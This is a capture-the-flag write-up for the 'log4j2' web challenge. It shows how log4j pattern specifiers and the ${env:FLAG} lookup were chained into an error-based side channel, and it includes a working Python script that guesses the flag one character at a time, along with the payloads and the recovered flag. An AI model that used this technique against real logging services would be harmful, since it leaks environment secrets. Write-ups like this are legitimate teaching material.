### log4j2 building upon the log4j solution and some prelim investigation by other teammates, i set of reading a lot of documentation on lookups and pattern layout specifiers to see if anything is useful since they practically just slapped a filter on logs and stuff, i wondered what exactly they were checking and `/repeat` works like a charm on letting me test certain keywords that might hit the filter - it would say sensitive info whenever i hit a keyword i figured out its "ERROR", "WARNING", "Exception" and "CTF", but even these few words basically disabled us from using the same method as the old solution which was to break formatter to print exceptions `text=/[${date:yyyyMMdd.${env:FLAG}HHmmSS}]` - even if we can hide CTF using some transformers like `%replace` and `${lower:}`, we wont be able to hide the "ERROR" or "Exception" keywords since those are directly from the pattern parser (`%xEx` and `%throwable` both doesnt do anything) so i turned to trying to see if i can leak parts of the flag out but the only way i can tell is to hide details inside the stacktraces which are blocked but then i remembered the influxql chall from wectf that me and [@Angus](https://maplebacon.org/authors/alueft/) solved where he found a way to side channel it and i see `%equals` being a thing in the specifiers so the only thing i need to do is to trigger a warning or an error only when my guessed flag matches - `%equals{${env:FLAG}}{}{}` however theres not really a good canadidate that throws a parser error only when run - `%d` like in the old solution always fail even if `%equals` is not matched but it fails twice if it matches, which is a good sign that there might be better specifiers out there - and indeed if i do `%C{}` i get a warning thats censored only if my guess equals - thus the payload is now `%equals{${env:FLAG}}{}{%C{a}}` but i have to find a way to guess character by character to save time - this is where `%maxLen` comes into play so i can get the first x chars only, and the payload becomes `%equals{%maxLen{${env:FLAG}}{}}{}{%C{a}}` with that we can write a script to leak the first 3 chars, and they are indeed `CTF` - but then i run into a problem of `{}` being special chars for lookups so i need to escape it somehow `%equals` doesnt look like it has a way to escape, so i had to introduce `%replace` as mentioned [here](https://stackoverflow.com/questions/57658504/escape-curly-braces-in-log4js-replacepatternregexsubstitution) with `/%equals{%replace{%maxLen{${env:FLAG}}{}}{[\{\}]}{=}}{}{%C{a}}`, we can finally leak the flag, which looks like lowercase letters - until it hangs at 21st character turns out `%maxLen` appends `...` if it exceeds 20 chars, and just padding the dots into the flag doesnt seem to fix anything, so i had to also replace the dots to equal signs just like the curly brackets and finally with `/%equals{%replace{%maxLen{${env:FLAG}}{}}{[\{\}.]}{=}}{}{%C{a}}` we can get the script that generates the flag: ```py import requests import string flag = 'CTF=' while True: for c in string.ascii_lowercase + '-=': #if c in '}{ ': #for string.printable since these instantly breaks parser # continue pad = '===' if len(flag)+1>20 else '' #thanks %maxLen for the weird behaviour payload = r"/%equals{%replace{%maxLen{${env:FLAG}}{" + str(len(flag)+1) + r"}}{[\{\}.]}{=}}{" + flag + c + pad + r"}{%C{a}}" print(payload) r = requests.post('https://log4j2-web.2022.ctfcompetition.com/', data={"text":payload}) print(r.content) if b'Sensitive' in r.content: flag += c print('current', flag) break if flag.endswith('===='): break ``` and here's the breakdown of the payload: ```text %equals{ %replace{ %maxLen{ ${env:FLAG} #retrieve original flag }{ 4 #flag length to check - must match the check length since theres no startWith in log4j so we have to truncate } }{ [\{\}.] #find all { }s in flag, along with the elipsis }{ = #replace with placeholder - see flag to check for more info } }{ CTF= #flag to check - note that = is in place of { since curly brackets escaping is not a thing in %equals it looks like }{ %C{a} #this triggers a warning only if it hits, aka it wont show WARNING if equals never matched - i originally used %d, but the format evaluates regardless whether it hit or not (hitting will show 2 warnings instead of 1 which doesnt help) } ``` `CTF{and-you-thought-it-was-over-didnt-you}` for some reason the ending bracket never got hit though, so the endswith clause never ran but hey flag is flag ey